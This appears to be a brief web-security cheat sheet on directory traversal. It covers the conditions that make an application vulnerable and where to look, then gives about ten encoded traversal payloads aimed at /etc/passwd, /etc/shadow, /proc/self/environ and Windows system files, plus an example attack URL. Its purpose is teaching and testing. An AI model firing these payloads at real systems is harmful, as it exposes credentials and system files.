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1 min read Intermediate Web

Directory Traversal

Directory Traversal

AspectDetails
DescriptionDirectory Traversal is a web application vulnerability that allows an attacker to access files and directories stored outside the intended web root.
Conditions to be Vulnerable- Application accepts user input for file paths without proper validation or sanitization.
- User input is used directly in file system operations.
- Lack of security controls to restrict access to sensitive directories.
Where to Find- File upload functionality with user-defined paths.
- Applications using include or require statements in PHP.
- Download links accepting user-defined parameters.
Common Payloads- ../../etc/passwd
- ..%2f..%2f..%2f..%2fetc%2fpasswd
- ..\\..\\..\\..\\Windows\\System32\\config\\SYSTEM
- ..%2f..%2f..%2f..%2fvar%2flib%2fmysql%2fmysql.sock
- ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cetc%5cpasswd
- ../../../../../../../../etc/shadow
- ..%2f..%2f..%2f..%2fhome%2fuser%2fsecret.txt
- ..%2f..%2f..%2f..%2fboot.ini
- ..%2f..%2f..%2f..%2fproc%2fself%2fenviron
ExampleURL: http://example.com/download.php?file=reports/report1.pdf
Payload: http://example.com/download.php?file=../../../../etc/passwd
If unvalidated, it may expose sensitive file contents.

Dedicated Directory Traversal Vulnerability Payloads:

CreditURL
Swisskyrepo - PayloadsAllTheThingsDirectory Traversal Payloads
InfoSecWarriorOffensive Payloads
Swisskyrepo - PayloadsAllTheThingsDirectory Traversal README
OmurugurPath Traversal Payload List